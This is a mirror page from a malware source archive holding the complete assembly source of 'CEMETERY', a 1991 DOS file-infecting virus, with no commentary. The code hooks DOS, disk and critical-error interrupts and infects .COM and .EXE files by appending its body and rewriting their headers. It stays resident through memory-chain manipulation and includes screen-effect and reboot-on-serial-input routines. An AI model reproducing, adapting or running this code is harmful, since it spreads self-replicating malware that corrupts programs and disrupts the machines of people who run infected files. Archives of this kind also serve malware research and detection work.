mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
738 lines
17 KiB
NASM
738 lines
17 KiB
NASM
|
|
PAGE 60,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ CEMETERY ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 4-Mar-91 ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
data_1e equ 4Ch ; (0000:004C=31h)
|
|
data_2e equ 4Eh ; (0000:004E=70h)
|
|
data_3e equ 70h ; (0000:0070=0FF33h)
|
|
data_4e equ 72h ; (0000:0072=0F000h)
|
|
data_5e equ 84h ; (0000:0084=0E3h)
|
|
data_6e equ 86h ; (0000:0086=161Ah)
|
|
data_7e equ 90h ; (0000:0090=8Eh)
|
|
data_8e equ 92h ; (0000:0092=1498h)
|
|
data_9e equ 102h ; (0000:0102=0CC00h)
|
|
data_10e equ 106h ; (0000:0106=326h)
|
|
data_11e equ 450h ; (0000:0450=184Fh)
|
|
data_12e equ 46Ch ; (0000:046C=0C4BCh)
|
|
data_13e equ 46Eh ; (0000:046E=10h)
|
|
data_14e equ 47Bh ; (0000:047B=0)
|
|
data_15e equ 0 ; (0326:0000=6A7h)
|
|
data_16e equ 2 ; (0326:0002=70h)
|
|
data_17e equ 0 ; (0687:0000=81h)
|
|
data_18e equ 1 ; (0688:0001=0FF17h)
|
|
data_19e equ 2 ; (06E3:0002=2342h)
|
|
data_20e equ 6 ; (06E3:0006=2344h)
|
|
data_46e equ 0FBF0h ; (701E:FBF0=0)
|
|
data_47e equ 0FBF2h ; (701E:FBF2=0)
|
|
data_48e equ 0FC10h ; (701E:FC10=0)
|
|
data_49e equ 0FC12h ; (701E:FC12=0)
|
|
data_50e equ 0FC14h ; (701E:FC14=0)
|
|
data_51e equ 0FC1Eh ; (701E:FC1E=0)
|
|
data_52e equ 0FC20h ; (701E:FC20=0)
|
|
data_53e equ 0FC26h ; (701E:FC26=0)
|
|
data_54e equ 0FC28h ; (701E:FC28=0)
|
|
|
|
code_seg_a segment
|
|
assume cs:code_seg_a, ds:code_seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
cemetery proc far
|
|
|
|
start:
|
|
data_21 dw 0CE9h
|
|
data_22 dw 0C304h
|
|
db 23 dup (0C3h)
|
|
db 'CEMETERY'
|
|
data_24 dw 0C3C3h
|
|
data_25 dw 0C3C3h
|
|
data_26 dw 0
|
|
data_27 dw 0
|
|
data_28 dw 0
|
|
data_29 dw 0
|
|
data_30 dw 0
|
|
data_31 dd 00000h
|
|
data_32 dw 0
|
|
data_33 dw 0
|
|
data_34 dd 00000h
|
|
data_35 dw 0
|
|
data_36 dw 0
|
|
db 68h, 0E8h, 55h, 3, 90h, 3Dh
|
|
db 4Dh, 4Bh, 75h, 9, 55h, 8Bh
|
|
db 0ECh, 83h, 66h, 6, 0FEh, 5Dh
|
|
db 0CFh, 80h, 0FCh, 4Bh, 74h, 12h
|
|
db 3Dh, 0, 3Dh, 74h, 0Dh, 3Dh
|
|
db 0, 6Ch, 75h, 5, 80h, 0FBh
|
|
db 0, 74h, 3
|
|
loc_1:
|
|
jmp loc_13
|
|
loc_2:
|
|
push es
|
|
push ds
|
|
push di
|
|
push si
|
|
push bp
|
|
push dx
|
|
push cx
|
|
push bx
|
|
push ax
|
|
call sub_6
|
|
call sub_7
|
|
cmp ax,6C00h
|
|
jne loc_3 ; Jump if not equal
|
|
mov dx,si
|
|
loc_3:
|
|
mov cx,80h
|
|
mov si,dx
|
|
|
|
locloop_4:
|
|
inc si
|
|
mov al,[si]
|
|
or al,al ; Zero ?
|
|
loopnz locloop_4 ; Loop if zf=0, cx>0
|
|
|
|
sub si,2
|
|
cmp word ptr [si],4D4Fh
|
|
je loc_7 ; Jump if equal
|
|
cmp word ptr [si],4558h
|
|
je loc_6 ; Jump if equal
|
|
loc_5:
|
|
jmp short loc_12
|
|
db 90h
|
|
loc_6:
|
|
cmp word ptr [si-2],452Eh
|
|
nop
|
|
jz loc_8 ; Jump if zero
|
|
jmp short loc_5
|
|
loc_7:
|
|
cmp word ptr [si-2],432Eh
|
|
jne loc_5 ; Jump if not equal
|
|
cmp word ptr [si-4],444Eh
|
|
jne loc_5 ; Jump if not equal
|
|
loc_8:
|
|
mov ax,3D02h
|
|
call sub_5
|
|
jc loc_12 ; Jump if carry Set
|
|
mov bx,ax
|
|
mov ax,5700h
|
|
call sub_5
|
|
mov cs:data_27,cx ; (701E:0129=0)
|
|
mov cs:data_28,dx ; (701E:012B=0)
|
|
mov ax,4200h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
call sub_5
|
|
push cs
|
|
pop ds
|
|
mov dx,103h
|
|
mov si,dx
|
|
mov cx,18h
|
|
mov ah,3Fh ; '?'
|
|
call sub_5
|
|
jc loc_10 ; Jump if carry Set
|
|
cmp word ptr [si],5A4Dh
|
|
jne loc_9 ; Jump if not equal
|
|
call sub_1
|
|
jmp short loc_10
|
|
loc_9:
|
|
call sub_4
|
|
loc_10:
|
|
jc loc_11 ; Jump if carry Set
|
|
mov ax,5701h
|
|
mov cx,cs:data_27 ; (701E:0129=0)
|
|
mov dx,cs:data_28 ; (701E:012B=0)
|
|
call sub_5
|
|
loc_11:
|
|
mov ah,3Eh ; '>'
|
|
call sub_5
|
|
loc_12:
|
|
call sub_7
|
|
pop ax
|
|
pop bx
|
|
pop cx
|
|
pop dx
|
|
pop bp
|
|
pop si
|
|
pop di
|
|
pop ds
|
|
pop es
|
|
loc_13:
|
|
jmp cs:data_31 ; (701E:0131=0)
|
|
|
|
cemetery endp
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_1 proc near
|
|
mov cx,[si+16h]
|
|
add cx,[si+8]
|
|
mov ax,10h
|
|
mul cx ; dx:ax = reg * ax
|
|
add ax,[si+14h]
|
|
adc dx,0
|
|
push dx
|
|
push ax
|
|
mov ax,4202h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
call sub_5
|
|
cmp dx,0
|
|
jne loc_14 ; Jump if not equal
|
|
cmp ax,589h
|
|
jae loc_14 ; Jump if above or =
|
|
pop ax
|
|
pop dx
|
|
stc ; Set carry flag
|
|
ret
|
|
loc_14:
|
|
mov di,ax
|
|
mov bp,dx
|
|
pop cx
|
|
sub ax,cx
|
|
pop cx
|
|
sbb dx,cx
|
|
cmp word ptr [si+0Ch],0
|
|
je loc_ret_17 ; Jump if equal
|
|
cmp dx,0
|
|
jne loc_15 ; Jump if not equal
|
|
cmp ax,589h
|
|
jne loc_15 ; Jump if not equal
|
|
stc ; Set carry flag
|
|
ret
|
|
loc_15:
|
|
mov dx,bp
|
|
mov ax,di
|
|
push dx
|
|
push ax
|
|
add ax,589h
|
|
adc dx,0
|
|
mov cx,200h
|
|
div cx ; ax,dx rem=dx:ax/reg
|
|
les di,dword ptr [si+2] ; Load 32 bit ptr
|
|
mov cs:data_29,di ; (701E:012D=0)
|
|
mov cs:data_30,es ; (701E:012F=0)
|
|
mov [si+2],dx
|
|
cmp dx,0
|
|
je loc_16 ; Jump if equal
|
|
inc ax
|
|
loc_16:
|
|
mov [si+4],ax
|
|
pop ax
|
|
pop dx
|
|
call sub_2
|
|
sub ax,[si+8]
|
|
les di,dword ptr [si+14h] ; Load 32 bit ptr
|
|
mov data_24,di ; (701E:0123=0C3C3h)
|
|
mov data_25,es ; (701E:0125=0C3C3h)
|
|
mov [si+14h],dx
|
|
mov [si+16h],ax
|
|
mov word ptr data_26,ax ; (701E:0127=0)
|
|
mov ax,4202h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
call sub_5
|
|
call sub_3
|
|
jc loc_ret_17 ; Jump if carry Set
|
|
mov ax,4200h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
call sub_5
|
|
mov ah,40h ; '@'
|
|
mov dx,si
|
|
mov cx,18h
|
|
call sub_5
|
|
|
|
loc_ret_17:
|
|
ret
|
|
sub_1 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_2 proc near
|
|
mov cx,4
|
|
mov di,ax
|
|
and di,0Fh
|
|
|
|
locloop_18:
|
|
shr dx,1 ; Shift w/zeros fill
|
|
rcr ax,1 ; Rotate thru carry
|
|
loop locloop_18 ; Loop if cx > 0
|
|
|
|
mov dx,di
|
|
ret
|
|
sub_2 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_3 proc near
|
|
mov ah,40h ; '@'
|
|
mov cx,589h
|
|
mov dx,100h
|
|
call sub_6
|
|
jmp short loc_22
|
|
db 90h
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_4:
|
|
mov ax,4202h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
call sub_5
|
|
cmp ax,589h
|
|
jb loc_ret_21 ; Jump if below
|
|
cmp ax,0FA00h
|
|
jae loc_ret_21 ; Jump if above or =
|
|
push ax
|
|
cmp byte ptr [si],0E9h
|
|
jne loc_19 ; Jump if not equal
|
|
sub ax,58Ch
|
|
cmp ax,[si+1]
|
|
jne loc_19 ; Jump if not equal
|
|
pop ax
|
|
stc ; Set carry flag
|
|
ret
|
|
loc_19:
|
|
call sub_3
|
|
jnc loc_20 ; Jump if carry=0
|
|
pop ax
|
|
ret
|
|
loc_20:
|
|
mov ax,4200h
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
call sub_5
|
|
pop ax
|
|
sub ax,3
|
|
mov dx,123h
|
|
mov si,dx
|
|
mov byte ptr cs:[si],0E9h
|
|
mov cs:[si+1],ax
|
|
mov ah,40h ; '@'
|
|
mov cx,3
|
|
call sub_5
|
|
|
|
loc_ret_21:
|
|
ret
|
|
sub_3 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_5 proc near
|
|
loc_22:
|
|
pushf ; Push flags
|
|
call cs:data_31 ; (701E:0131=0)
|
|
ret
|
|
sub_5 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_6 proc near
|
|
push ax
|
|
push ds
|
|
push es
|
|
xor ax,ax ; Zero register
|
|
push ax
|
|
pop ds
|
|
cli ; Disable interrupts
|
|
les ax,dword ptr ds:data_7e ; (0000:0090=18Eh) Load 32 bit ptr
|
|
mov cs:data_32,ax ; (701E:0135=0)
|
|
mov cs:data_33,es ; (701E:0137=0)
|
|
mov ax,3ABh
|
|
mov ds:data_7e,ax ; (0000:0090=18Eh)
|
|
mov ds:data_8e,cs ; (0000:0092=1498h)
|
|
les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr
|
|
mov cs:data_35,ax ; (701E:013D=0)
|
|
mov cs:data_36,es ; (701E:013F=0)
|
|
les ax,cs:data_34 ; (701E:0139=0) Load 32 bit ptr
|
|
mov ds:data_1e,ax ; (0000:004C=831h)
|
|
mov ds:data_2e,es ; (0000:004E=70h)
|
|
sti ; Enable interrupts
|
|
pop es
|
|
pop ds
|
|
pop ax
|
|
ret
|
|
sub_6 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_7 proc near
|
|
push ax
|
|
push ds
|
|
push es
|
|
xor ax,ax ; Zero register
|
|
push ax
|
|
pop ds
|
|
cli ; Disable interrupts
|
|
les ax,dword ptr cs:data_32 ; (701E:0135=0) Load 32 bit ptr
|
|
mov ds:data_7e,ax ; (0000:0090=18Eh)
|
|
mov ds:data_8e,es ; (0000:0092=1498h)
|
|
les ax,dword ptr cs:data_35 ; (701E:013D=0) Load 32 bit ptr
|
|
mov ds:data_1e,ax ; (0000:004C=831h)
|
|
mov ds:data_2e,es ; (0000:004E=70h)
|
|
sti ; Enable interrupts
|
|
pop es
|
|
pop ds
|
|
pop ax
|
|
ret
|
|
sub_7 endp
|
|
|
|
db 0B0h, 3, 0CFh, 50h, 53h, 51h
|
|
db 2Eh, 0A3h, 0FEh, 3, 2Eh, 0A1h
|
|
db 0F7h, 3, 0A3h, 50h, 4, 2Eh
|
|
db 0A1h, 0F5h, 3, 8Ah, 0DCh, 0B4h
|
|
db 9, 0B9h, 1, 0, 0CDh, 10h
|
|
db 0E8h, 34h, 0, 0E8h, 0B7h, 0
|
|
db 2Eh, 0A1h, 0F7h, 3, 0A3h, 50h
|
|
db 4, 0B3h, 7, 0B8h, 7, 9
|
|
db 0B9h, 1, 0, 0CDh, 10h, 2Eh
|
|
db 0A1h, 0FEh, 3, 0A3h, 50h, 4
|
|
db 7, 1Fh
|
|
db ']_^ZY[X.'
|
|
db 0FFh, 2Eh, 0FAh, 3
|
|
data_37 dw 0
|
|
data_38 db 10h
|
|
data_39 db 10h
|
|
data_40 db 0
|
|
data_41 dw 0
|
|
data_42 dw 0
|
|
db 0, 0, 2Eh, 0A1h, 0F7h, 3
|
|
db 8Bh, 1Eh, 4Ah, 4, 4Bh, 2Eh
|
|
db 0F6h, 6, 0F9h, 3, 1, 74h
|
|
db 0Ch, 3Ah, 0C3h, 72h, 12h, 2Eh
|
|
db 80h, 36h, 0F9h, 3, 1, 0EBh
|
|
db 0Ah
|
|
loc_23:
|
|
cmp al,0
|
|
jg loc_24 ; Jump if >
|
|
xor byte ptr cs:data_40,1 ; (701E:03F9=0)
|
|
loc_24:
|
|
test byte ptr cs:data_40,2 ; (701E:03F9=0)
|
|
jz loc_25 ; Jump if zero
|
|
cmp ah,18h
|
|
jb loc_26 ; Jump if below
|
|
xor byte ptr cs:data_40,2 ; (701E:03F9=0)
|
|
jmp short loc_26
|
|
loc_25:
|
|
cmp ah,0
|
|
jg loc_26 ; Jump if >
|
|
xor byte ptr cs:data_40,2 ; (701E:03F9=0)
|
|
loc_26:
|
|
cmp byte ptr cs:data_37,20h ; (701E:03F5=0) ' '
|
|
je loc_27 ; Jump if equal
|
|
db 2Eh
|
|
data_44 dw 3E80h
|
|
db 0F8h, 3, 0, 74h, 6, 2Eh
|
|
db 80h, 36h, 0F9h, 3, 2
|
|
loc_27:
|
|
test byte ptr cs:data_40,1 ; (701E:03F9=0)
|
|
jz loc_28 ; Jump if zero
|
|
inc cs:data_38 ; (701E:03F7=10h)
|
|
jmp short loc_29
|
|
loc_28:
|
|
dec cs:data_38 ; (701E:03F7=10h)
|
|
loc_29:
|
|
test byte ptr cs:data_40,2 ; (701E:03F9=0)
|
|
jz loc_30 ; Jump if zero
|
|
inc cs:data_39 ; (701E:03F8=10h)
|
|
jmp short loc_ret_31
|
|
loc_30:
|
|
dec cs:data_39 ; (701E:03F8=10h)
|
|
|
|
loc_ret_31:
|
|
ret
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_8 proc near
|
|
mov ax,word ptr cs:data_38 ; (701E:03F7=1010h)
|
|
mov ds:data_11e,ax ; (0000:0450=184Fh)
|
|
mov bh,data_55 ; (0000:0462=0D400h)
|
|
mov ah,8
|
|
int 10h ; Video display ah=functn 08h
|
|
; get char al & attrib ah @curs
|
|
mov cs:data_37,ax ; (701E:03F5=0)
|
|
ret
|
|
sub_8 endp
|
|
|
|
db 50h, 53h, 51h, 52h, 56h, 57h
|
|
db 55h, 1Eh, 6, 33h, 0C0h, 50h
|
|
db 1Fh, 81h, 3Eh, 70h, 0, 0AEh
|
|
db 3, 74h, 35h, 0A1h, 6Ch, 4
|
|
db 8Bh, 16h, 6Eh, 4, 0B9h, 0FFh
|
|
db 0FFh, 0F7h, 0F1h, 3Dh, 10h, 0
|
|
db 75h, 24h, 0FAh, 8Bh, 2Eh, 50h
|
|
db 4, 0E8h, 0BEh, 0FFh, 89h, 2Eh
|
|
db 50h, 4, 0C4h, 6, 70h, 0
|
|
db 2Eh, 0A3h, 0FAh, 3, 2Eh, 8Ch
|
|
db 6, 0FCh, 3, 0C7h, 6, 70h
|
|
db 0, 0AEh, 3, 8Ch, 0Eh, 72h
|
|
db 0, 0FBh
|
|
loc_32:
|
|
mov ah,2
|
|
int 14h ; RS-232 dx=com1, ah=func 02h
|
|
; get char al, ah=return status
|
|
cmp al,31h ; '1'
|
|
je loc_33 ; Jump if equal
|
|
jnz loc_34 ; Jump if not zero
|
|
loc_33:
|
|
int 19h ; Bootstrap loader
|
|
loc_34:
|
|
pop es
|
|
pop ds
|
|
pop bp
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
ret
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_9 proc near
|
|
mov dx,10h
|
|
mul dx ; dx:ax = reg * ax
|
|
ret
|
|
sub_9 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_10 proc near
|
|
xor ax,ax ; Zero register
|
|
xor bx,bx ; Zero register
|
|
xor cx,cx ; Zero register
|
|
xor dx,dx ; Zero register
|
|
xor si,si ; Zero register
|
|
xor di,di ; Zero register
|
|
xor bp,bp ; Zero register
|
|
ret
|
|
sub_10 endp
|
|
|
|
db 1Eh, 0E8h, 0, 0
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_11 proc near
|
|
mov ax,4B4Dh
|
|
int 21h ; DOS Services ah=function 4Bh
|
|
; run progm @ds:dx, parm @es:bx
|
|
jc loc_35 ; Jump if carry Set
|
|
jmp loc_45
|
|
loc_35:
|
|
pop si
|
|
push si
|
|
mov di,si
|
|
xor ax,ax ; Zero register
|
|
push ax
|
|
pop ds
|
|
les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr
|
|
mov cs:data_53e[si],ax ; (701E:FC26=0)
|
|
mov cs:data_54e[si],es ; (701E:FC28=0)
|
|
les bx,dword ptr ds:data_5e ; (0000:0084=6E3h) Load 32 bit ptr
|
|
mov cs:data_51e[di],bx ; (701E:FC1E=0)
|
|
mov cs:data_52e[di],es ; (701E:FC20=0)
|
|
mov ax,ds:data_9e ; (0000:0102=0CC00h)
|
|
cmp ax,0F000h
|
|
jne loc_43 ; Jump if not equal
|
|
mov dl,80h
|
|
mov ax,ds:data_10e ; (0000:0106=326h)
|
|
cmp ax,0F000h
|
|
je loc_36 ; Jump if equal
|
|
cmp ah,0C8h
|
|
jb loc_43 ; Jump if below
|
|
cmp ah,0F4h
|
|
jae loc_43 ; Jump if above or =
|
|
test al,7Fh
|
|
jnz loc_43 ; Jump if not zero
|
|
mov ds,ax
|
|
cmp word ptr ds:data_15e,0AA55h ; (0326:0000=6A7h)
|
|
jne loc_43 ; Jump if not equal
|
|
mov dl,ds:data_16e ; (0326:0002=70h)
|
|
loc_36:
|
|
mov ds,ax
|
|
xor dh,dh ; Zero register
|
|
mov cl,9
|
|
shl dx,cl ; Shift w/zeros fill
|
|
mov cx,dx
|
|
xor si,si ; Zero register
|
|
|
|
locloop_37:
|
|
lodsw ; String [si] to ax
|
|
cmp ax,0FA80h
|
|
jne loc_38 ; Jump if not equal
|
|
lodsw ; String [si] to ax
|
|
cmp ax,7380h
|
|
je loc_39 ; Jump if equal
|
|
jnz loc_40 ; Jump if not zero
|
|
loc_38:
|
|
cmp ax,0C2F6h
|
|
jne loc_41 ; Jump if not equal
|
|
lodsw ; String [si] to ax
|
|
cmp ax,7580h
|
|
jne loc_40 ; Jump if not equal
|
|
loc_39:
|
|
inc si
|
|
lodsw ; String [si] to ax
|
|
cmp ax,40CDh
|
|
je loc_42 ; Jump if equal
|
|
sub si,3
|
|
loc_40:
|
|
dec si
|
|
dec si
|
|
loc_41:
|
|
dec si
|
|
loop locloop_37 ; Loop if cx > 0
|
|
|
|
jmp short loc_43
|
|
loc_42:
|
|
sub si,7
|
|
mov cs:data_53e[di],si ; (701E:FC26=0)
|
|
mov cs:data_54e[di],ds ; (701E:FC28=0)
|
|
loc_43:
|
|
mov ah,62h ; 'b'
|
|
int 21h ; DOS Services ah=function 62h
|
|
; get progrm seg prefix addr bx
|
|
mov es,bx
|
|
mov ah,49h ; 'I'
|
|
int 21h ; DOS Services ah=function 49h
|
|
; release memory block, es=seg
|
|
mov bx,0FFFFh
|
|
mov ah,48h ; 'H'
|
|
int 21h ; DOS Services ah=function 48h
|
|
; allocate memory, bx=bytes/16
|
|
sub bx,5Ah
|
|
nop
|
|
jc loc_45 ; Jump if carry Set
|
|
mov cx,es
|
|
stc ; Set carry flag
|
|
adc cx,bx
|
|
mov ah,4Ah ; 'J'
|
|
int 21h ; DOS Services ah=function 4Ah
|
|
; change mem allocation, bx=siz
|
|
mov bx,59h
|
|
stc ; Set carry flag
|
|
sbb es:data_19e,bx ; (06E3:0002=2342h)
|
|
push es
|
|
mov es,cx
|
|
mov ah,4Ah ; 'J'
|
|
int 21h ; DOS Services ah=function 4Ah
|
|
; change mem allocation, bx=siz
|
|
mov ax,es
|
|
dec ax
|
|
mov ds,ax
|
|
mov word ptr ds:data_18e,8 ; (0688:0001=0FF17h)
|
|
call sub_9
|
|
mov bx,ax
|
|
mov cx,dx
|
|
pop ds
|
|
mov ax,ds
|
|
call sub_9
|
|
add ax,ds:data_20e ; (06E3:0006=2344h)
|
|
adc dx,0
|
|
sub ax,bx
|
|
sbb dx,cx
|
|
jc loc_44 ; Jump if carry Set
|
|
sub ds:data_20e,ax ; (06E3:0006=2344h)
|
|
loc_44:
|
|
mov si,di
|
|
xor di,di ; Zero register
|
|
push cs
|
|
pop ds
|
|
sub si,413h
|
|
mov cx,589h
|
|
inc cx
|
|
rep movsb ; Rep while cx>0 Mov [si] to es:[di]
|
|
mov ah,62h ; 'b'
|
|
int 21h ; DOS Services ah=function 62h
|
|
; get progrm seg prefix addr bx
|
|
dec bx
|
|
mov ds,bx
|
|
mov byte ptr ds:data_17e,5Ah ; (0687:0000=81h) 'Z'
|
|
mov dx,142h
|
|
xor ax,ax ; Zero register
|
|
push ax
|
|
pop ds
|
|
mov ax,es
|
|
sub ax,10h
|
|
mov es,ax
|
|
cli ; Disable interrupts
|
|
mov ds:data_5e,dx ; (0000:0084=6E3h)
|
|
mov ds:data_6e,es ; (0000:0086=161Ah)
|
|
sti ; Enable interrupts
|
|
dec byte ptr ds:data_14e ; (0000:047B=0)
|
|
loc_45:
|
|
pop si
|
|
cmp word ptr cs:data_46e[si],5A4Dh ; (701E:FBF0=0)
|
|
jne loc_46 ; Jump if not equal
|
|
pop ds
|
|
mov ax,cs:data_50e[si] ; (701E:FC14=0)
|
|
mov bx,cs:data_49e[si] ; (701E:FC12=0)
|
|
push cs
|
|
pop cx
|
|
sub cx,ax
|
|
add cx,bx
|
|
push cx
|
|
push word ptr cs:data_48e[si] ; (701E:FC10=0)
|
|
push ds
|
|
pop es
|
|
call sub_10
|
|
ret ; Return far
|
|
loc_46:
|
|
pop ax
|
|
mov ax,cs:data_46e[si] ; (701E:FBF0=0)
|
|
mov cs:data_21,ax ; (701E:0100=0CE9h)
|
|
mov ax,cs:data_47e[si] ; (701E:FBF2=0)
|
|
mov cs:data_22,ax ; (701E:0102=0C304h)
|
|
mov ax,100h
|
|
push ax
|
|
push cs
|
|
pop ds
|
|
push ds
|
|
pop es
|
|
call sub_10
|
|
ret
|
|
sub_11 endp
|
|
|
|
|
|
code_seg_a ends
|
|
|
|
|
|
|
|
end start
|